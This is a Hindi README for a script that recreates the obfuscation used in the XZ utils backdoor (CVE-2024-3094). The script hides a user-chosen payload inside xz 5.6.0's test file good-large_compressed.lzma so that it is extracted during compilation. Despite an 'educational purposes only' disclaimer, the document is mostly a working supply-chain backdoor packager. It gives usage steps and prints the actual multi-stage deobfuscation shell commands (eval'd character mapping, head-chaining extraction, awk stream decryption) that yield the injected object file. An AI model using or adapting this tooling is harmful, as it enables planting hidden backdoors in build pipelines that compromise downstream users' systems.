
XZ utils हमले (CVE-2024-3094) द्वारा किए गए तरीके से पेलोड को अस्पष्ट करने के लिए स्क्रिप्ट
यह स्क्रिप्ट XZ utils हमले (CVE-2024-3094) में उपयोग की गई ऑबस्फस्केशन तकनीक को पुनः निर्मित करती है। इसे केवल xzutils v5.6.0 के लिए परीक्षण किया गया है।
⚠️ यह कोड केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है और इसका उपयोग दुर्भावनापूर्ण गतिविधियों के लिए नहीं किया जाना चाहिए। अपने जोखिम पर उपयोग करें। ⚠️
आपके कार्यशील फ़ोल्डर में xzutils 5.6.0 से मूल good-large_compressed.lzma होना चाहिए।
निम्नलिखित चलाएँ
./obfuscate_payload.sh [your_payload]
एक फ़ाइल good-large_compressed.lzma.modified बनाई जाएगी, जिसे xzutils 5.6.0 स्रोत कोड के फ़ोल्डर test/files में good-large_compressed.lzma नाम से रखा जाना चाहिए।
बैकडोर संकलन प्रक्रिया के दौरान निकाला जाएगा।
यह कोड मूल के समान आकार के संपादित liblzma_la-crc64-fast.o के साथ परीक्षण किया गया है। बड़ी फ़ाइल का उपयोग काम नहीं कर सकता, क्योंकि पेलोड का आकार सीमित है।
यह भाग वैकल्पिक है, यह दर्शाता है कि good-large_compressed.lzma से पेलोड को कैसे डी-ऑबस्फस्केट किया जाए। आप इसका उपयोग मूल फ़ाइल के साथ, या इस प्रोजेक्ट का उपयोग करके बनाई गई फ़ाइल के साथ कर सकते हैं।
आपके कार्यशील फ़ोल्डर में xzutils 5.6.0 से मूल good-large_compressed.lzma और bad-3-corrupt_lzma2.xz होना चाहिए।
bad-3-corrupt_lzma2.xz में छिपी स्क्रिप्ट निकालेंgl_am_configmake=bad-3-corrupt_lzma2.xz
gl_path_unmap='tr " \t_\-" "\t \-_"' # Reverse the character mapping
gl_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"
gl_reverse_config="sed ':a;N;\$!ba;s/\n//g' $gl_am_configmake | eval $gl_path_unmap"
eval $gl_reverse_config
यह आपको एक बैश स्क्रिप्ट देगा जो चरण 2 को निष्पादित करेगा।
good-large_compressed.lzma में छिपी दूसरी स्क्रिप्ट निकालेंनिम्नलिखित कोड चलाएँ, जो चरण 1 के आउटपुट से लिया गया है
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc
यह आपको एक और बैश स्क्रिप्ट देगा जो चरण 3 को निष्पादित करेगा।
good-large_compressed.lzma में छिपा पेलोड निकालेंनिम्नलिखित कोड चलाएँ, जो चरण 2 के आउटपुट से लिया गया है।
W=88792
N=0
p="good-large_compressed.lzma"
i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)"
xz -dc $p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
यह ऑब्सफस्केट किए गए पेलोड liblzma_la-crc64-fast.o को निकालेगा।